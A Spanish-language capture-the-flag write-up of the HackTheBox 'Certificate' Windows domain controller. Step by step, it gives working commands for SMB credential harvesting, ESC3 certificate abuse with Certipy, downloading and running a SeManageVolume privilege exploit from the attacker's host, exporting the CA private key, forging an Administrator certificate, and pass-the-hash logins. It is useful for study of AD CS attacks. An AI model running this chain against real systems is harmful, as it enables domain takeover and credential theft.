- IP: 10.10.11.71
- Nombre: Certificate
- Sistema Operativo: Windows Server 2019 (Domain Controller)
- Dificultad: Media
- Servicios principales: IIS, Active Directory, Certificate Services
- Flags: Usuario y Root
- Preparación del Entorno
- Reconocimiento y Enumeración Inicial
- Enumeración Web - Puerto 443
- Acceso Inicial - SMB y Credenciales
- Primer Acceso - Usuario Lion.SK
- Enumeración del Sistema Windows
- Escalación Horizontal - Lion.SK a ryan.k
- Escalación de Privilegios - ryan.k a Administrator
- Lecciones Aprendidas y Conceptos
# Actualizar el sistema
sudo apt update && sudo apt upgrade -y
# Herramientas básicas de red y web
sudo apt install -y nmap netcat curl wget git
sudo apt install -y gobuster dirbuster dirb nikto whatweb
# Herramientas para SMB/Windows
sudo apt install -y smbclient smbmap enum4linux crackmapexec evil-winrm
sudo apt install -y impacket-tools bloodhound neo4j
# Herramientas de cracking y análisis
sudo apt install -y john hashcat hydra
sudo apt install -y binwalk exiftool steghide
# Python y librerías
sudo apt install -y python3 python3-pip
pip3 install ldapdomaindump
# Herramientas para manipulación de tiempo
sudo apt install -y faketime chrony ntpdate rdate
# Certipy - Herramienta especializada para ADCS
cd ~
git clone https://github.com/ly4k/Certipy.git
cd Certipy
# Verificar instalación
python3 certipy/entry.py --version
# Editar el archivo hosts
sudo nano /etc/hosts
# Agregar estas líneas:
10.10.11.71 certificate.htb
10.10.11.71 dc01.certificate.htb
10.10.11.71 www.certificate.htb
# Ping para verificar que la máquina está activa
ping -c 1 10.10.11.71
# TTL=127 indica que es Windows (Linux tendría TTL=64)
# Escaneo rápido de puertos comunes
nmap -sS -p- --min-rate 5000 10.10.11.71 -oN nmap_initial.txt
# Escaneo detallado de los puertos abiertos
nmap -sCV -p53,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389 10.10.11.71 -oN nmap_detailed.txt
Puertos encontrados y su propósito:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
443/tcp open ssl/http Microsoft IIS httpd 10.0
445/tcp open microsoft-ds
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
# Del output de nmap obtenemos:
# Domain: certificate.htb
# FQDN: DC01.certificate.htb
# Verificar qué hay en HTTPS
curl -k https://10.10.11.71
whatweb https://10.10.11.71
# Acceder con Firefox
firefox https://certificate.htb &
Observación: Encontramos una página corporativa de "Certificate LTD"
# Gobuster con lista de directorios comunes
gobuster dir -u https://certificate.htb -w /usr/share/wordlists/dirb/common.txt -k
# Gobuster con lista más grande
gobuster dir -u https://certificate.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 50
# Búsqueda de archivos específicos
gobuster dir -u https://certificate.htb -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,html,txt -k
Directorios/Archivos encontrados:
/assets (Status: 301)
/css (Status: 301)
/img (Status: 301)
/js (Status: 301)
/index.html (Status: 200)
# Descargar la página principal
wget https://certificate.htb -O index.html --no-check-certificate
# Buscar comentarios, links, información útil
grep -i "comment\|password\|user\|admin\|login" index.html
grep -oE 'href="[^"]*"' index.html | sort -u
# Usando wfuzz
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.certificate.htb" \
--hc 404 --ssl https://10.10.11.71
# Usando gobuster
gobuster vhost -u https://certificate.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -k
Nota: No se encontraron subdominios adicionales en esta etapa.
# Enumerar shares disponibles
smbclient -L //10.10.11.71 -N
smbmap -H 10.10.11.71
smbmap -H 10.10.11.71 -u guest
# Enum4linux para información detallada
enum4linux 10.10.11.71
# Crackmapexec para verificación rápida
crackmapexec smb 10.10.11.71 -u '' -p '' --shares
crackmapexec smb 10.10.11.71 -u 'guest' -p '' --shares
# Conectarse al share Development
smbclient //10.10.11.71/Development -N
# Comandos dentro de smbclient:
smb: \> ls
smb: \> get LICENSE
smb: \> exit
# Ver el contenido del archivo
cat LICENSE
Contenido importante del archivo LICENSE:
[...]
Additionally the responsible administrator is Lion.Sk
Qualys scan results
-------------------
Host: DC01.certificate.htb
User: Lion.Sk, password: !QAZ2wsx
[...]
# Probar diferentes formatos del usuario
crackmapexec smb 10.10.11.71 -u 'Lion.Sk' -p '!QAZ2wsx' # Falla
crackmapexec smb 10.10.11.71 -u 'lion.sk' -p '!QAZ2wsx' # Falla
crackmapexec smb 10.10.11.71 -u 'LION.SK' -p '!QAZ2wsx' # Falla
crackmapexec smb 10.10.11.71 -u 'Lion.SK' -p '!QAZ2wsx' # ¡FUNCIONA!
# Verificar con dominio
crackmapexec smb 10.10.11.71 -u 'Lion.SK' -p '!QAZ2wsx' -d 'CERTIFICATE'
# Verificar que el usuario tiene acceso a WinRM
crackmapexec winrm 10.10.11.71 -u 'Lion.SK' -p '!QAZ2wsx'
# Conectarse con Evil-WinRM
evil-winrm -i 10.10.11.71 -u 'Lion.SK' -p '!QAZ2wsx'
# Verificar usuario actual
whoami
# Output: certificate\lion.sk
# Navegar al escritorio
cd C:\Users\Lion.SK\Desktop
# Listar archivos
dir
# Leer la flag de usuario
type user.txt
# Flag: ****************************
# Información del sistema
systeminfo
# Usuarios del dominio
net user
net user /domain
# Información del usuario actual
net user Lion.SK /domain
# Grupos del dominio
net group /domain
# Verificar si es Domain Controller
nltest /dclist:certificate.htb
# Buscar archivos con contraseñas
dir /s *pass* == *.txt
dir /s *password* == *.txt
dir /s *cred* == *.txt
# Buscar archivos de configuración
dir /s web.config
dir /s *.config
dir /s *.xml
# Buscar en el directorio web
cd C:\inetpub\wwwroot
dir /s
# Verificar IIS
iisreset /status
# Buscar archivos de XAMPP
dir C:\xampp
# Si existe XAMPP, buscar configuraciones
cd C:\xampp\htdocs
dir
# Navegar a XAMPP
cd C:\xampp\htdocs\certificate.htb
dir
# Buscar archivos PHP con configuraciones
type db.php
Contenido de db.php (credenciales de MySQL):
<?php
$host = 'localhost';
$user = 'certificate_webapp_user';
$pass = 'cert!f!c@teDBPWD';
$db = 'certificate_webapp';
?>
# Navegar al directorio de MySQL
cd C:\xampp\mysql\bin
# Conectarse a MySQL
.\mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD"
# Comandos MySQL para enumerar
mysql> show databases;
mysql> use certificate_webapp;
mysql> show tables;
mysql> select * from users;
mysql> exit
Nota: En MySQL podríamos encontrar hashes de contraseñas para crackear con John The Ripper:
# Si encontramos hashes, en Kali:
echo "hash_aqui" > mysql_hash.txt
john mysql_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=mysql-sha1
# Verificar privilegios del usuario actual
whoami /priv
whoami /groups
whoami /all
# Buscar servicios vulnerables
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# Verificar tareas programadas
schtasks /query /fo LIST /v
# Verificar certificados instalados
certutil -store my
certutil -store root
# Desde Kali, usando Certipy
cd ~/Certipy
# Enumerar vulnerabilidades en ADCS
python3 certipy/entry.py find -u 'Lion.SK@CERTIFICATE.HTB' -p '!QAZ2wsx' -dc-ip 10.10.11.71 -stdout | tee certipy_enum.txt
# Analizar el output
grep -i "ESC" certipy_enum.txt
Vulnerabilidad encontrada: ESC3
- Template vulnerable:
Delegated-CRA
- Permite Certificate Request Agent
- Puede solicitar certificados en nombre de otros usuarios
ESC3 es una vulnerabilidad en la que:
- Un usuario puede obtener un certificado con el permiso de "Certificate Request Agent"
- Con ese certificado, puede solicitar certificados para otros usuarios
- Esto permite suplantar la identidad de cualquier usuario del dominio
# Solicitar certificado de agente para Lion.SK
python3 certipy/entry.py req \
-u 'Lion.SK@CERTIFICATE.HTB' \
-p '!QAZ2wsx' \
-dc-ip 10.10.11.71 \
-target DC01.CERTIFICATE.HTB \
-ca 'Certificate-LTD-CA' \
-template 'Delegated-CRA' \
-out lion.sk
# Verificar archivos creados
ls -la lion.sk*
# lion.sk.pfx - Certificado con clave privada
# lion.sk.crt - Certificado público
# lion.sk.key - Clave privada
# Usar el certificado de agente para solicitar uno de ryan.k
python3 certipy/entry.py req \
-u 'Lion.SK@CERTIFICATE.HTB' \
-p '!QAZ2wsx' \
-dc-ip 10.10.11.71 \
-target DC01.CERTIFICATE.HTB \
-ca 'Certificate-LTD-CA' \
-template 'SignedUser' \
-on-behalf-of 'CERTIFICATE\ryan.k' \
-pfx lion.sk.pfx \
-out ryan.k
# Verificar certificado creado
ls -la ryan.k*
# Intento 1: Autenticarse con el certificado
python3 certipy/entry.py auth -pfx 'ryan.k.pfx' -dc-ip '10.10.11.71'
# ERROR: KRB_AP_ERR_SKEW(Clock skew too great)
Kerberos requiere que el reloj del cliente esté sincronizado con el servidor (diferencia máxima: 5 minutos).
# Método 1: Ver la hora del DC
nmap -p 445 --script smb2-time 10.10.11.71 | grep date
# Output: date: 2025-09-18T03:37:44
# Método 2: Sincronizar manualmente
sudo date -s "18 SEP 2025 03:38:00"
# Luego intentar inmediatamente
python3 certipy/entry.py auth -pfx 'ryan.k.pfx' -dc-ip '10.10.11.71'
# Método 3: Usar faketime (ESTE FUNCIONÓ)
faketime '2025-09-18 03:50:00' python3 certipy/entry.py auth -pfx 'ryan.k.pfx' -dc-ip '10.10.11.71'
# Método 4: Cambiar zona horaria
sudo timedatectl set-timezone UTC
date
# Usando faketime
faketime '2025-09-18 03:50:00' python3 certipy/entry.py auth -pfx 'ryan.k.pfx' -dc-ip '10.10.11.71'
# Output exitoso:
# [*] Got hash for 'ryan.k@certificate.htb': aad3b435b51404eeaad3b435b51404ee:b1bc3d70e70f4f36b1509a65ae1a2ae6
# Usar solo la parte del hash NTLM (después de los dos puntos)
evil-winrm -i 10.10.11.71 -u ryan.k -H b1bc3d70e70f4f36b1509a65ae1a2ae6
# Verificar usuario
whoami
# Output: certificate\ryan.k
# Verificar privilegios especiales
whoami /priv
Privilegio importante encontrado:
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
Este privilegio permite:
- Realizar tareas de mantenimiento en volúmenes
- Cambiar permisos en cualquier archivo del sistema
- Es un privilegio muy peligroso si se puede explotar
En Kali:
# Descargar el exploit
wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe
# Verificar descarga
file SeManageVolumeExploit.exe
ls -la SeManageVolumeExploit.exe
# Iniciar servidor web
python3 -m http.server 8000
# Verificar tu IP
ip a | grep tun0
# Ejemplo: inet 10.10.14.59/23
En la máquina víctima (como ryan.k):
# Descargar el exploit (usar TU IP)
curl http://10.10.14.59:8000/SeManageVolumeExploit.exe -o SeManageVolumeExploit.exe
# Si curl falla, usar Invoke-WebRequest
Invoke-WebRequest -Uri http://10.10.14.59:8000/SeManageVolumeExploit.exe -OutFile SeManageVolumeExploit.exe
# Verificar descarga
dir SeManageVolumeExploit.exe
# Verificar permisos antes
icacls C:\
# Ejecutar el exploit
.\SeManageVolumeExploit.exe
# Output: Entries changed: 876
# DONE
# Verificar permisos después
icacls C:\
# Ahora deberíamos ver permisos adicionales
# Probar escritura
echo "test" > C:\Windows\test.txt
type C:\Windows\test.txt
del C:\Windows\test.txt
# Crear directorio temporal
mkdir C:\temp -Force
# Listar certificados del sistema
Get-ChildItem -Path Cert:\LocalMachine\My
Get-ChildItem -Path Cert:\LocalMachine\Root
# Buscar específicamente el CA
Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object {$_.Subject -like "*Certificate-LTD-CA*"}
# Resultado:
# Thumbprint: 2F02901DCFF083ED3DBB6CB0A15BBFEE6002B1A8
# Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
# Método 1: PowerShell
$cert = Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object {$_.Subject -like "*Certificate-LTD-CA*"}
Export-PfxCertificate -Cert $cert -FilePath C:\temp\ca.pfx -Password (ConvertTo-SecureString -String "password" -Force -AsPlainText)
# Método 2: certutil (si el método 1 falla)
certutil -exportPFX -p password my 2F02901DCFF083ED3DBB6CB0A15BBFEE6002B1A8 C:\temp\ca.pfx
# Copiar al directorio actual para descarga
copy C:\temp\ca.pfx .
dir ca.pfx
# Descargar
download ca.pfx
En Kali:
cd ~/Certificate/Certipy
# Verificar que tenemos el ca.pfx
ls -la ca.pfx
# Forjar certificado de Administrator
python3 certipy/entry.py forge \
-ca-pfx ca.pfx \
-ca-password 'password' \
-upn 'administrator@certificate.htb' \
-subject 'CN=Administrator,CN=Users,DC=certificate,DC=htb' \
-out admin.pfx
# Verificar creación
ls -la admin.pfx
# Intentar autenticación (probablemente fallará por tiempo)
python3 certipy/entry.py auth -dc-ip '10.10.11.71' -pfx 'admin.pfx'
# Usar faketime para solucionar el problema de tiempo
faketime '2025-09-18 04:10:00' python3 certipy/entry.py auth -dc-ip '10.10.11.71' -pfx 'admin.pfx'
# Output exitoso:
# [*] Got hash for 'administrator@certificate.htb': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6
# Conectarse con el hash de Administrator
evil-winrm -i 10.10.11.71 -u administrator -H d804304519bf0143c14cbf1c024408c6
# Verificar que somos Administrator
whoami
# Output: certificate\administrator
# Navegar al escritorio
cd C:\Users\Administrator\Desktop
# Listar archivos
dir
# Leer la flag root
type root.txt
# Flag: ****************************
- Reconocimiento: Enumeración de puertos y servicios
- Enumeración Web: Búsqueda sin éxito en puerto 443
- Enumeración SMB: Encontrar share "Development"
- Credenciales Iniciales: Lion.SK en archivo LICENSE
- Acceso Inicial: WinRM con Lion.SK
- Enumeración Interna: Búsqueda de archivos y servicios
- ADCS Vulnerabilidad: ESC3 en Certificate Services
- Escalación Horizontal: Lion.SK → ryan.k via certificados
- Privilegio Especial: SeManageVolumePrivilege
- Certificate Forgery: Crear certificado de Administrator
- Acceso Total: Administrator con certificado forjado
- Sistema para crear y gestionar certificados digitales
- Los templates mal configurados permiten escalación
- ESC3: Certificate Request Agent abuse
- Herramienta principal: Certipy
- Kerberos rechaza autenticación si diferencia > 5 minutos
- Herramientas: faketime, ntpdate, date -s
- Siempre verificar hora del DC antes de autenticar
- Permite cambiar permisos en cualquier archivo
- Exploit público disponible
- Usado para acceder a claves privadas protegidas
- Con el certificado CA se pueden crear certificados válidos
- Permite autenticación como cualquier usuario
- No requiere conocer contraseñas
whoami /priv # Ver privilegios
Get-ChildItem -Recurse # Buscar archivos
certutil -store my # Ver certificados
net user /domain # Usuarios del dominio
crackmapexec smb IP -u USER -p PASS # Verificar credenciales
faketime 'FECHA' comando # Ejecutar con fecha falsa
evil-winrm -i IP -u USER -H HASH # Conectar con hash
-
Usuario con formato incorrecto
- Probar mayúsculas: Lion.SK en vez de lion.sk
-
Error de sincronización de tiempo
- Usar faketime es más confiable
- Verificar hora exacta del DC
-
Descarga fallida en Evil-WinRM
- Copiar archivo al directorio actual primero
- Evitar rutas complejas
-
IPs incorrectas en comandos
- Verificar con: ip a | grep tun0
- No usar corchetes en PowerShell
- Certipy: Explotación de ADCS
- Evil-WinRM: Acceso remoto Windows
- faketime: Manipulación de tiempo
- crackmapexec: Verificación de credenciales
- smbclient: Acceso a shares SMB
- John The Ripper: Cracking de hashes
- SeManageVolumeExploit: Abuso de privilegio
- Certipy: https://github.com/ly4k/Certipy
- ADCS Attacks: https://posts.specterops.io/certified-pre-owned-d95910965cd2
- SeManageVolumeExploit: https://github.com/CsEnox/SeManageVolumeExploit
- Evil-WinRM: https://github.com/Hackplayers/evil-winrm
Este write-up documenta el proceso completo incluyendo:
- Todos los comandos utilizados
- Los errores encontrados y sus soluciones
- Múltiples métodos probados (incluso los que fallaron)
- Explicaciones detalladas para principiantes
El objetivo es aprender no solo qué funcionó, sino también entender por qué funcionó y qué hacer cuando algo falla.
Importante: Este documento es solo para fines educativos. Úsalo únicamente en entornos autorizados como HackTheBox.